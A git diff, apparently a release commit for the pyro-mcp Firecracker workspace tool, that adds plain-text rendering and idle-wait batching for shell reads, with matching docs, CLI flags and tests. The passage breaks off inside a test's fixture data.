cursor=0 next_cursor=... truncated=False plain=True wait_for_idle_ms=300 execution_mode=guest_vsock $ uvx --from pyro-mcp pyro workspace service start WORKSPACE_ID web --secret-env API_TOKEN --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' [workspace-service-start] workspace_id=... service=web state=running cwd=/workspace ready_type=file execution_mode=guest_vsock @@ -252,7 +252,7 @@ State: started Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty `/workspace`. Use `pyro workspace sync push` when you need to import later host-side changes into a started -workspace. Sync is non-atomic in `3.4.0`; if it fails partway through, prefer `pyro workspace reset` +workspace. Sync is non-atomic in `3.5.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current `/workspace` tree to its immutable create-time baseline, `pyro workspace snapshot *` to create named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the diff --git a/docs/install.md b/docs/install.md index b40d593..2e168b0 100644 --- a/docs/install.md +++ b/docs/install.md @@ -85,7 +85,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.4.0 +Catalog version: 3.5.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -251,7 +251,7 @@ pyro workspace reset WORKSPACE_ID pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt pyro workspace shell open WORKSPACE_ID --secret-env API_TOKEN pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd' -pyro workspace shell read WORKSPACE_ID SHELL_ID +pyro workspace shell read WORKSPACE_ID SHELL_ID --plain --wait-for-idle-ms 300 pyro workspace shell close WORKSPACE_ID SHELL_ID pyro workspace service start WORKSPACE_ID web --secret-env API_TOKEN --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' pyro workspace service start WORKSPACE_ID worker --ready-file .worker-ready -- sh -lc 'touch .worker-ready && while true; do sleep 60; done' @@ -274,12 +274,13 @@ Workspace commands default to the persistent `/workspace` directory inside the g the identifier programmatically, use `--json` and read the `workspace_id` field. Use `--seed-path` when the workspace should start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive. Use `pyro workspace sync push` for later host-side changes to a started workspace. Sync -is non-atomic in `3.4.0`; if it fails partway through, prefer `pyro workspace reset` to recover +is non-atomic in `3.5.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the current workspace tree to its immutable create-time baseline, `pyro workspace snapshot *` to capture named checkpoints, and `pyro workspace export` to copy one changed file or directory back to the host. Use `pyro workspace exec` for one-shot commands and `pyro workspace shell *` when you need an -interactive PTY that survives across separate calls. Use `pyro workspace service *` when the +interactive PTY that survives across separate calls. Prefer +`pyro workspace shell read --plain --wait-for-idle-ms 300` for chat-facing shell loops. Use `pyro workspace service *` when the workspace needs long-running background processes with typed readiness probes. Service metadata and logs stay outside `/workspace`, so the service runtime itself does not show up in workspace diff or export results. Use `--network-policy egress` when the workspace needs outbound guest networking, diff --git a/docs/integrations.md b/docs/integrations.md index 866044b..b25ab3c 100644 --- a/docs/integrations.md +++ b/docs/integrations.md @@ -86,7 +86,7 @@ Recommended default: - `Pyro.create_workspace(..., network_policy="egress+published-ports")` + `Pyro.start_service(..., published_ports=[...])` when the host must probe one workspace service - `Pyro.diff_workspace(...)` + `Pyro.export_workspace(...)` when the agent needs baseline comparison or host-out file transfer - `Pyro.start_service(..., secret_env=...)` + `Pyro.list_services(...)` + `Pyro.logs_service(...)` when the agent needs long-running background processes in one workspace -- `Pyro.open_shell(..., secret_env=...)` + `Pyro.write_shell(...)` + `Pyro.read_shell(...)` when the agent needs an interactive PTY inside the workspace +- `Pyro.open_shell(..., secret_env=...)` + `Pyro.write_shell(...)` + `Pyro.read_shell(..., plain=True, wait_for_idle_ms=300)` when the agent needs an interactive PTY inside the workspace Lifecycle note: diff --git a/docs/public-contract.md b/docs/public-contract.md index ad96936..7c76615 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -107,6 +107,7 @@ Behavioral guarantees: - `pyro workspace patch apply WORKSPACE_ID --patch TEXT` applies one unified text patch with add/modify/delete operations under `/workspace`. - `pyro workspace shell open --secret-env SECRET_NAME[=ENV_VAR]` maps one persisted secret into the opened shell environment. - `pyro workspace shell *` manages persistent PTY sessions inside a started workspace. +- `pyro workspace shell read --plain --wait-for-idle-ms 300` is the recommended chat-facing read mode; raw shell reads remain available without `--plain`. - `pyro workspace logs` returns persisted command history for that workspace until `pyro workspace delete`. - `pyro workspace update` changes only discovery metadata such as `name` and key/value `labels`. - Workspace create/status results expose `workspace_seed` metadata describing how `/workspace` was initialized. @@ -157,7 +158,7 @@ Supported public entrypoints: - `Pyro.logs_service(workspace_id, service_name, *, tail_lines=200, all=False)` - `Pyro.stop_service(workspace_id, service_name)` - `Pyro.open_shell(workspace_id, *, cwd="/workspace", cols=120, rows=30, secret_env=None)` -- `Pyro.read_shell(workspace_id, shell_id, *, cursor=0, max_chars=65536)` +- `Pyro.read_shell(workspace_id, shell_id, *, cursor=0, max_chars=65536, plain=False, wait_for_idle_ms=None)` - `Pyro.write_shell(workspace_id, shell_id, *, input, append_newline=True)` - `Pyro.signal_shell(workspace_id, shell_id, *, signal_name="INT")` - `Pyro.close_shell(workspace_id, shell_id)` @@ -207,7 +208,7 @@ Stable public method names: - `logs_service(workspace_id, service_name, *, tail_lines=200, all=False)` - `stop_service(workspace_id, service_name)` - `open_shell(workspace_id, *, cwd="/workspace", cols=120, rows=30, secret_env=None)` -- `read_shell(workspace_id, shell_id, *, cursor=0, max_chars=65536)` +- `read_shell(workspace_id, shell_id, *, cursor=0, max_chars=65536, plain=False, wait_for_idle_ms=None)` - `write_shell(workspace_id, shell_id, *, input, append_newline=True)` - `signal_shell(workspace_id, shell_id, *, signal_name="INT")` - `close_shell(workspace_id, shell_id)` @@ -260,7 +261,7 @@ Behavioral defaults: - `Pyro.exec_workspace(...)` runs one command in the persistent workspace and leaves it alive. - `Pyro.open_shell(..., secret_env=...)` maps persisted workspace secrets into the shell environment when that shell opens. - `Pyro.open_shell(...)` opens a persistent PTY shell attached to one started workspace. -- `Pyro.read_shell(...)` reads merged text output from that shell by cursor. +- `Pyro.read_shell(...)` reads merged text output from that shell by cursor, with optional plain rendering and idle batching for chat-facing consumers. - `Pyro.write_shell(...)`, `Pyro.signal_shell(...)`, and `Pyro.close_shell(...)` operate on that persistent shell session. - `Pyro.update_workspace(...)` changes only discovery metadata such as `name` and key/value `labels`. diff --git a/docs/roadmap/llm-chat-ergonomics.md b/docs/roadmap/llm-chat-ergonomics.md index 2293153..3277df2 100644 --- a/docs/roadmap/llm-chat-ergonomics.md +++ b/docs/roadmap/llm-chat-ergonomics.md @@ -6,7 +6,7 @@ goal: make the core agent-workspace use cases feel trivial from a chat-driven LLM interface. -Current baseline is `3.4.0`: +Current baseline is `3.5.0`: - the stable workspace contract exists across CLI, SDK, and MCP - one-shot `pyro run` still exists as the narrow entrypoint @@ -48,7 +48,7 @@ More concretely, the model should not need to: 1. [`3.2.0` Model-Native Workspace File Ops](llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md) - Done 2. [`3.3.0` Workspace Naming And Discovery](llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md) - Done 3. [`3.4.0` Tool Profiles And Canonical Chat Flows](llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md) - Done -4. [`3.5.0` Chat-Friendly Shell Output](llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md) +4. [`3.5.0` Chat-Friendly Shell Output](llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md) - Done 5. [`3.6.0` Use-Case Recipes And Smoke Packs](llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md) Completed so far: @@ -61,6 +61,8 @@ Completed so far: - `3.4.0` added stable MCP/server tool profiles with `vm-run`, `workspace-core`, and `workspace-full`, plus canonical profile-based OpenAI and MCP examples so chat hosts can start narrow and widen only when needed. +- `3.5.0` added chat-friendly shell reads with plain-text rendering and idle batching so PTY + sessions are readable enough to feed directly back into a chat model. ## Expected Outcome diff --git a/docs/roadmap/llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md b/docs/roadmap/llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md index 747454d..e46edc3 100644 --- a/docs/roadmap/llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md +++ b/docs/roadmap/llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md @@ -1,6 +1,6 @@ # `3.5.0` Chat-Friendly Shell Output -Status: Planned +Status: Done ## Goal diff --git a/examples/python_shell.py b/examples/python_shell.py index 85887f7..e30606c 100644 --- a/examples/python_shell.py +++ b/examples/python_shell.py @@ -19,7 +19,13 @@ def main() -> None: pyro.write_shell(workspace_id, shell_id, input="pwd") deadline = time.time() + 5 while True: - read = pyro.read_shell(workspace_id, shell_id, cursor=0) + read = pyro.read_shell( + workspace_id, + shell_id, + cursor=0, + plain=True, + wait_for_idle_ms=300, + ) output = str(read["output"]) if "/workspace" in output or time.time() >= deadline: print(output, end="") diff --git a/examples/python_workspace.py b/examples/python_workspace.py index 79e338e..d10673f 100644 --- a/examples/python_workspace.py +++ b/examples/python_workspace.py @@ -83,7 +83,13 @@ def main() -> None: shell_id, input='printf "%s\\n" "$API_TOKEN"', ) - shell_output = pyro.read_shell(workspace_id, shell_id, cursor=0) + shell_output = pyro.read_shell( + workspace_id, + shell_id, + cursor=0, + plain=True, + wait_for_idle_ms=300, + ) print(f"shell_output_len={len(shell_output['output'])}") pyro.close_shell(workspace_id, shell_id) pyro.start_service( diff --git a/pyproject.toml b/pyproject.toml index ff5944a..104eb17 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "pyro-mcp" -version = "3.4.0" +version = "3.5.0" description = "Stable Firecracker workspaces, one-shot sandboxes, and MCP tools for coding agents." readme = "README.md" license = { file = "LICENSE" } diff --git a/src/pyro_mcp/api.py b/src/pyro_mcp/api.py index df7f0a4..2fadd0b 100644 --- a/src/pyro_mcp/api.py +++ b/src/pyro_mcp/api.py @@ -330,12 +330,16 @@ class Pyro: *, cursor: int = 0, max_chars: int = 65536, + plain: bool = False, + wait_for_idle_ms: int | None = None, ) -> dict[str, Any]: return self._manager.read_shell( workspace_id, shell_id, cursor=cursor, max_chars=max_chars, + plain=plain, + wait_for_idle_ms=wait_for_idle_ms, ) def write_shell( @@ -902,6 +906,8 @@ class Pyro: shell_id: str, cursor: int = 0, max_chars: int = 65536, + plain: bool = False, + wait_for_idle_ms: int | None = None, ) -> dict[str, Any]: """Read merged PTY output from a workspace shell.""" return self.read_shell( @@ -909,6 +915,8 @@ class Pyro: shell_id, cursor=cursor, max_chars=max_chars, + plain=plain, + wait_for_idle_ms=wait_for_idle_ms, ) if _enabled("shell_write"): diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index cd7964b..74dd57c 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -532,6 +532,8 @@ def _print_workspace_shell_read_human(payload: dict[str, Any]) -> None: f"cursor={int(payload.get('cursor', 0))} " f"next_cursor={int(payload.get('next_cursor', 0))} " f"truncated={bool(payload.get('truncated', False))} " + f"plain={bool(payload.get('plain', False))} " + f"wait_for_idle_ms={payload.get('wait_for_idle_ms')} " f"execution_mode={str(payload.get('execution_mode', 'unknown'))}", file=sys.stderr, flush=True, @@ -1529,7 +1531,7 @@ def _build_parser() -> argparse.ArgumentParser: Examples: pyro workspace shell open WORKSPACE_ID pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd' - pyro workspace shell read WORKSPACE_ID SHELL_ID + pyro workspace shell read WORKSPACE_ID SHELL_ID --plain --wait-for-idle-ms 300 pyro workspace shell signal WORKSPACE_ID SHELL_ID --signal INT pyro workspace shell close WORKSPACE_ID SHELL_ID @@ -1592,10 +1594,10 @@ def _build_parser() -> argparse.ArgumentParser: epilog=dedent( """ Example: - pyro workspace shell read WORKSPACE_ID SHELL_ID --cursor 0 + pyro workspace shell read WORKSPACE_ID SHELL_ID --plain --wait-for-idle-ms 300 Shell output is written to stdout. The read summary is written to stderr. - Use --json for a deterministic structured response. + Use --plain for chat-friendly output and --json for a deterministic structured response. """ ), formatter_class=_HelpFormatter, @@ -1622,6 +1624,17 @@ def _build_parser() -> argparse.ArgumentParser: default=65536, help="Maximum number of characters to return from the current cursor position.", ) + workspace_shell_read_parser.add_argument( + "--plain", + action="store_true", + help="Strip terminal control sequences and normalize shell output for chat consumption.", + ) + workspace_shell_read_parser.add_argument( + "--wait-for-idle-ms", + type=int, + default=None, + help="Wait for this many milliseconds of shell-idle time before returning output.", + ) workspace_shell_read_parser.add_argument( "--json", action="store_true", @@ -2652,6 +2665,8 @@ def main() -> None: args.shell_id, cursor=args.cursor, max_chars=args.max_chars, + plain=bool(args.plain), + wait_for_idle_ms=args.wait_for_idle_ms, ) except Exception as exc: # noqa: BLE001 if bool(args.json): diff --git a/src/pyro_mcp/contract.py b/src/pyro_mcp/contract.py index 9b51acf..8a85fa2 100644 --- a/src/pyro_mcp/contract.py +++ b/src/pyro_mcp/contract.py @@ -83,7 +83,13 @@ PUBLIC_CLI_WORKSPACE_SHELL_OPEN_FLAGS = ( "--secret-env", "--json", ) -PUBLIC_CLI_WORKSPACE_SHELL_READ_FLAGS = ("--cursor", "--max-chars", "--json") +PUBLIC_CLI_WORKSPACE_SHELL_READ_FLAGS = ( + "--cursor", + "--max-chars", + "--plain", + "--wait-for-idle-ms", + "--json", +) PUBLIC_CLI_WORKSPACE_SHELL_WRITE_FLAGS = ("--input", "--no-newline", "--json") PUBLIC_CLI_WORKSPACE_SHELL_SIGNAL_FLAGS = ("--signal", "--json") PUBLIC_CLI_WORKSPACE_SHELL_CLOSE_FLAGS = ("--json",) diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index 0290562..b93c969 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "3.4.0" +DEFAULT_CATALOG_VERSION = "3.5.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", diff --git a/src/pyro_mcp/vm_manager.py b/src/pyro_mcp/vm_manager.py index c3fb329..9bb41b0 100644 --- a/src/pyro_mcp/vm_manager.py +++ b/src/pyro_mcp/vm_manager.py @@ -60,6 +60,7 @@ from pyro_mcp.workspace_files import ( write_workspace_file, ) from pyro_mcp.workspace_ports import DEFAULT_PUBLISHED_PORT_HOST +from pyro_mcp.workspace_shell_output import render_plain_shell_output from pyro_mcp.workspace_shells import ( create_local_shell, get_local_shell, @@ -97,6 +98,9 @@ WORKSPACE_SECRET_MAX_BYTES = 64 * 1024 DEFAULT_SHELL_COLS = 120 DEFAULT_SHELL_ROWS = 30 DEFAULT_SHELL_MAX_CHARS = 65536 +DEFAULT_SHELL_WAIT_FOR_IDLE_MS = 300 +MAX_SHELL_WAIT_FOR_IDLE_MS = 10000 +SHELL_IDLE_POLL_INTERVAL_SECONDS = 0.05 DEFAULT_WORKSPACE_DISK_READ_MAX_BYTES = 65536 DEFAULT_WORKSPACE_FILE_READ_MAX_BYTES = DEFAULT_WORKSPACE_FILE_READ_LIMIT WORKSPACE_FILE_MAX_BYTES = WORKSPACE_FILE_MAX_LIMIT @@ -4597,24 +4601,42 @@ class VmManager: *, cursor: int = 0, max_chars: int = DEFAULT_SHELL_MAX_CHARS, + plain: bool = False, + wait_for_idle_ms: int | None = None, ) -> dict[str, Any]: if cursor < 0: raise ValueError("cursor must not be negative") if max_chars <= 0: raise ValueError("max_chars must be positive") + if wait_for_idle_ms is not None and ( + wait_for_idle_ms <= 0 or wait_for_idle_ms > MAX_SHELL_WAIT_FOR_IDLE_MS + ): + raise ValueError( + f"wait_for_idle_ms must be between 1 and {MAX_SHELL_WAIT_FOR_IDLE_MS}" + ) with self._lock: workspace = self._load_workspace_locked(workspace_id) instance = self._workspace_instance_for_live_shell_locked(workspace) shell = self._load_workspace_shell_locked(workspace_id, shell_id) redact_values = self._workspace_secret_redact_values_locked(workspace) try: - payload = self._backend.read_shell( - instance, - workspace_id=workspace_id, - shell_id=shell_id, - cursor=cursor, - max_chars=max_chars, - ) + if wait_for_idle_ms is None: + payload = self._backend.read_shell( + instance, + workspace_id=workspace_id, + shell_id=shell_id, + cursor=cursor, + max_chars=max_chars, + ) + else: + payload = self._read_shell_with_idle_wait( + instance=instance, + workspace_id=workspace_id, + shell_id=shell_id, + cursor=cursor, + max_chars=max_chars, + wait_for_idle_ms=wait_for_idle_ms, + ) except Exception as exc: raise _redact_exception(exc, redact_values) from exc updated_shell = self._workspace_shell_record_from_payload( @@ -4631,17 +4653,84 @@ class VmManager: workspace.metadata = dict(instance.metadata) self._save_workspace_locked(workspace) self._save_workspace_shell_locked(updated_shell) + raw_output = _redact_text(str(payload.get("output", "")), redact_values) + rendered_output = render_plain_shell_output(raw_output) if plain else raw_output + truncated = bool(payload.get("truncated", False)) + if plain and len(rendered_output) > max_chars: + rendered_output = rendered_output[:max_chars] + truncated = True response = self._serialize_workspace_shell(updated_shell) response.update( { "cursor": int(payload.get("cursor", cursor)), "next_cursor": int(payload.get("next_cursor", cursor)), - "output": _redact_text(str(payload.get("output", "")), redact_values), - "truncated": bool(payload.get("truncated", False)), + "output": rendered_output, + "truncated": truncated, + "plain": plain, + "wait_for_idle_ms": wait_for_idle_ms, } ) return response + def _read_shell_with_idle_wait( + self, + *, + instance: VmInstance, + workspace_id: str, + shell_id: str, + cursor: int, + max_chars: int, + wait_for_idle_ms: int, + ) -> dict[str, Any]: + wait_seconds = wait_for_idle_ms / 1000 + current_cursor = cursor + remaining_chars = max_chars + raw_chunks: list[str] = [] + last_payload: dict[str, Any] | None = None + saw_output = False + deadline = time.monotonic() + wait_seconds + while True: + payload = self._backend.read_shell( + instance, + workspace_id=workspace_id, + shell_id=shell_id, + cursor=current_cursor, + max_chars=remaining_chars, + ) + last_payload = payload + next_cursor = int(payload.get("next_cursor", current_cursor)) + chunk = str(payload.get("output", "")) + advanced = next_cursor > current_cursor or bool(chunk) + if advanced: + saw_output = True + if chunk: + raw_chunks.append(chunk) + consumed = max(0, next_cursor - current_cursor) + current_cursor = next_cursor + remaining_chars = max(0, remaining_chars - consumed) + deadline = time.monotonic() + wait_seconds + if remaining_chars <= 0 or str(payload.get("state", "")) != "running": + break + time.sleep(SHELL_IDLE_POLL_INTERVAL_SECONDS) + continue + if str(payload.get("state", "")) != "running": + break + if time.monotonic() >= deadline: + break + if not saw_output and wait_seconds <= 0: + break + time.sleep(SHELL_IDLE_POLL_INTERVAL_SECONDS) + if last_payload is None: + raise RuntimeError(f"shell {shell_id} did not return a read payload") + if current_cursor == cursor: + return last_payload + aggregated = dict(last_payload) + aggregated["cursor"] = cursor + aggregated["next_cursor"] = current_cursor + aggregated["output"] = "".join(raw_chunks) + aggregated["truncated"] = bool(last_payload.get("truncated", False)) or remaining_chars <= 0 + return aggregated + def write_shell( self, workspace_id: str, diff --git a/src/pyro_mcp/workspace_shell_output.py b/src/pyro_mcp/workspace_shell_output.py new file mode 100644 index 0000000..94dacc6 --- /dev/null +++ b/src/pyro_mcp/workspace_shell_output.py @@ -0,0 +1,116 @@ +"""Helpers for chat-friendly workspace shell output rendering.""" + +from __future__ import annotations + + +def _apply_csi( + final: str, + parameters: str, + line: list[str], + cursor: int, + lines: list[str], +) -> tuple[list[str], int, list[str]]: + if final == "K": + mode = parameters or "0" + if mode in {"0", ""}: + del line[cursor:] + elif mode == "1": + for index in range(min(cursor, len(line))): + line[index] = " " + elif mode == "2": + line.clear() + cursor = 0 + elif final == "J": + mode = parameters or "0" + if mode in {"2", "3"}: + lines.clear() + line.clear() + cursor = 0 + return line, cursor, lines + + +def _consume_escape_sequence( + text: str, + index: int, + line: list[str], + cursor: int, + lines: list[str], +) -> tuple[int, list[str], int, list[str]]: + if index + 1 >= len(text): + return len(text), line, cursor, lines + leader = text[index + 1] + if leader == "[": + cursor_index = index + 2 + while cursor_index < len(text): + char = text[cursor_index] + if "\x40" <= char <= "\x7e": + parameters = text[index + 2 : cursor_index] + line, cursor, lines = _apply_csi(char, parameters, line, cursor, lines) + return cursor_index + 1, line, cursor, lines + cursor_index += 1 + return len(text), line, cursor, lines + if leader in {"]", "P", "_", "^"}: + cursor_index = index + 2 + while cursor_index < len(text): + char = text[cursor_index] + if char == "\x07": + return cursor_index + 1, line, cursor, lines + if char == "\x1b" and cursor_index + 1 < len(text) and text[cursor_index + 1] == "\\": + return cursor_index + 2, line, cursor, lines + cursor_index += 1 + return len(text), line, cursor, lines + if leader == "O": + return min(index + 3, len(text)), line, cursor, lines + return min(index + 2, len(text)), line, cursor, lines + + +def render_plain_shell_output(raw_text: str) -> str: + """Render PTY output into chat-friendly plain text.""" + lines: list[str] = [] + line: list[str] = [] + cursor = 0 + ended_with_newline = False + index = 0 + while index < len(raw_text): + char = raw_text[index] + if char == "\x1b": + index, line, cursor, lines = _consume_escape_sequence( + raw_text, + index, + line, + cursor, + lines, + ) + ended_with_newline = False + continue + if char == "\r": + cursor = 0 + ended_with_newline = False + index += 1 + continue + if char == "\n": + lines.append("".join(line)) + line = [] + cursor = 0 + ended_with_newline = True + index += 1 + continue + if char == "\b": + if cursor > 0: + cursor -= 1 + if cursor < len(line): + del line[cursor] + ended_with_newline = False + index += 1 + continue + if char == "\t" or (ord(char) >= 32 and ord(char) != 127): + if cursor < len(line): + line[cursor] = char + else: + line.append(char) + cursor += 1 + ended_with_newline = False + index += 1 + if line or ended_with_newline: + lines.append("".join(line)) + return "\n".join(lines) diff --git a/tests/test_api.py b/tests/test_api.py index 2c8fba6..b882fef 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -37,7 +37,7 @@ def test_pyro_run_in_vm_delegates_to_manager(tmp_path: Path) -> None: assert str(result["stdout"]) == "ok\n" -def test_pyro_create_server_registers_vm_run(tmp_path: Path) -> None: +def test_pyro_create_server_registers_full_profile_and_shell_read_schema(tmp_path: Path) -> None: pyro = Pyro( manager=VmManager( backend_name="mock", @@ -46,13 +46,17 @@ def test_pyro_create_server_registers_vm_run(tmp_path: Path) -> None: ) ) - async def _run() -> list[str]: + async def _run() -> tuple[list[str], dict[str, dict[str, Any]]]: server = pyro.create_server() tools = await server.list_tools() - return sorted(tool.name for tool in tools) + tool_map = {tool.name: tool.model_dump() for tool in tools} + return sorted(tool_map), tool_map - tool_names = asyncio.run(_run()) + tool_names, tool_map = asyncio.run(_run()) assert tuple(tool_names) == tuple(sorted(PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS)) + shell_read_properties = tool_map["shell_read"]["inputSchema"]["properties"] + assert "plain" in shell_read_properties + assert "wait_for_idle_ms" in shell_read_properties def test_pyro_create_server_vm_run_profile_registers_only_vm_run(tmp_path: Path) -> None: @@ -977,6 +981,8 @@ def test_pyro_create_server_workspace_status_shell_and_service_delegate() -> Non *, cursor: int = 0, max_chars: int = 65536, + plain: bool = False, + wait_for_idle_ms: int | None = None, ) -> dict[str, Any]: calls.append( ( @@ -986,6 +992,8 @@ def test_pyro_create_server_workspace_status_shell_and_service_delegate() -> Non "shell_id": shell_id, "cursor": cursor, "max_chars": max_chars, + "plain": plain, + "wait_for_idle_ms": wait_for_idle_ms, }, ) ) @@ -1097,6 +1105,8 @@ def test_pyro_create_server_workspace_status_shell_and_service_delegate() -> Non "shell_id": "shell-1", "cursor": 5, "max_chars": 1024, + "plain": True, + "wait_for_idle_ms": 300, }, ) ) @@ -1212,6 +1222,8 @@ def test_pyro_create_server_workspace_status_shell_and_service_delegate() -> Non "shell_id": "shell-1", "cursor": 5, "max_chars": 1024, + "plain": True, + "wait_for_idle_ms": 300, }, ), ( diff --git a/tests/test_cli.py b/tests/test_cli.py index 49e6f75..0b8ebb5 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -278,6 +278,8 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "read" ).format_help() assert "Shell output is written to stdout." in workspace_shell_read_help + assert "--plain" in workspace_shell_read_help + assert "--wait-for-idle-ms" in workspace_shell_read_help workspace_shell_write_help = _subparser_choice( _subparser_choice(_subparser_choice(parser, "workspace"), "shell"), "write" @@ -2259,11 +2261,15 @@ def test_cli_workspace_shell_open_and_read_human( *, cursor: int, max_chars: int, + plain: bool = False, + wait_for_idle_ms: int | None = None, ) -> dict[str, Any]: assert workspace_id == "workspace-123" assert shell_id == "shell-123" assert cursor == 0 assert max_chars == 1024 + assert plain is True + assert wait_for_idle_ms == 300 return { "workspace_id": workspace_id, "shell_id": shell_id, @@ -2279,6 +2285,8 @@ def test_cli_workspace_shell_open_and_read_human( "next_cursor": 14, "output": "pyro$ pwd\n", "truncated": False, + "plain": plain, + "wait_for_idle_ms": wait_for_idle_ms, } class OpenParser: @@ -2309,6 +2317,8 @@ def test_cli_workspace_shell_open_and_read_human( shell_id="shell-123", cursor=0, max_chars=1024, + plain=True, + wait_for_idle_ms=300, json=False, ) @@ -2319,6 +2329,8 @@ def test_cli_workspace_shell_open_and_read_human( assert "pyro$ pwd\n" in captured.out assert "[workspace-shell-open] workspace_id=workspace-123 shell_id=shell-123" in captured.err assert "[workspace-shell-read] workspace_id=workspace-123 shell_id=shell-123" in captured.err + assert "plain=True" in captured.err + assert "wait_for_idle_ms=300" in captured.err def test_cli_workspace_shell_write_signal_close_json( @@ -2478,7 +2490,11 @@ def test_cli_workspace_shell_open_and_read_json( *, cursor: int, max_chars: int, + plain: bool = False, + wait_for_idle_ms: int | None = None, ) -> dict[str, Any]: + assert plain is False + assert wait_for_idle_ms is None return { "workspace_id": workspace_id, "shell_id": shell_id, @@ -2494,6 +2510,8 @@ def test_cli_workspace_shell_open_and_read_json( "next_cursor": max_chars, "output": "pyro$ pwd\n", "truncated": False, + "plain": plain, + "wait_for_idle_ms": wait_for_idle_ms, } class OpenParser: @@ -2526,6 +2544,8 @@ def test_cli_workspace_shell_open_and_read_json( shell_id="shell-123", cursor=0, max_chars=1024, + plain=False, + wait_for_idle_ms=None, json=True, ) @@ -2655,7 +2675,16 @@ def test_cli_workspace_shell_write_signal_close_human( ("shell_command", "kwargs"), [ ("open", {"cwd": "/workspace", "cols": 120, "rows": 30}), - ("read", {"shell_id": "shell-123", "cursor": 0, "max_chars": 1024}), + ( + "read", + { + "shell_id": "shell-123", + "cursor": 0, + "max_chars": 1024, + "plain": False, + "wait_for_idle_ms": None, + }, + ), ("write", {"shell_id": "shell-123", "input": "pwd", "no_newline": False}), ("signal", {"shell_id": "shell-123", "signal": "INT"}), ("close", {"shell_id": "shell-123"}), diff --git a/tests/test_vm_manager.py b/tests/test_vm_manager.py index baca81d..df83a80 100644 --- a/tests/test_vm_manager.py +++ b/tests/test_vm_manager.py @@ -1239,6 +1239,144 @@ def test_workspace_shell_lifecycle_and_rehydration(tmp_path: Path) -> None: manager_rehydrated.read_shell(workspace_id, second_shell_id) +def test_workspace_read_shell_plain_renders_control_sequences( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + opened = manager.open_shell(workspace_id) + shell_id = str(opened["shell_id"]) + + monkeypatch.setattr( + manager._backend, # noqa: SLF001 + "read_shell", + lambda *args, **kwargs: { + "shell_id": shell_id, + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "state": "running", + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "host_compat", + "cursor": 0, + "next_cursor": 15, + "output": "hello\r\x1b[2Kbye\n", + "truncated": False, + }, + ) + + read = manager.read_shell( + workspace_id, + shell_id, + cursor=0, + max_chars=1024, + plain=True, + ) + + assert read["output"] == "bye\n" + assert read["plain"] is True + assert read["wait_for_idle_ms"] is None + + +def test_workspace_read_shell_wait_for_idle_batches_output( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + created = manager.create_workspace( + environment="debian:12-base", + allow_host_compat=True, + ) + workspace_id = str(created["workspace_id"]) + opened = manager.open_shell(workspace_id) + shell_id = str(opened["shell_id"]) + + payloads = [ + { + "shell_id": shell_id, + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "state": "running", + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "host_compat", + "cursor": 0, + "next_cursor": 4, + "output": "one\n", + "truncated": False, + }, + { + "shell_id": shell_id, + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "state": "running", + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "host_compat", + "cursor": 4, + "next_cursor": 8, + "output": "two\n", + "truncated": False, + }, + { + "shell_id": shell_id, + "cwd": "/workspace", + "cols": 120, + "rows": 30, + "state": "running", + "started_at": 1.0, + "ended_at": None, + "exit_code": None, + "execution_mode": "host_compat", + "cursor": 8, + "next_cursor": 8, + "output": "", + "truncated": False, + }, + ] + + 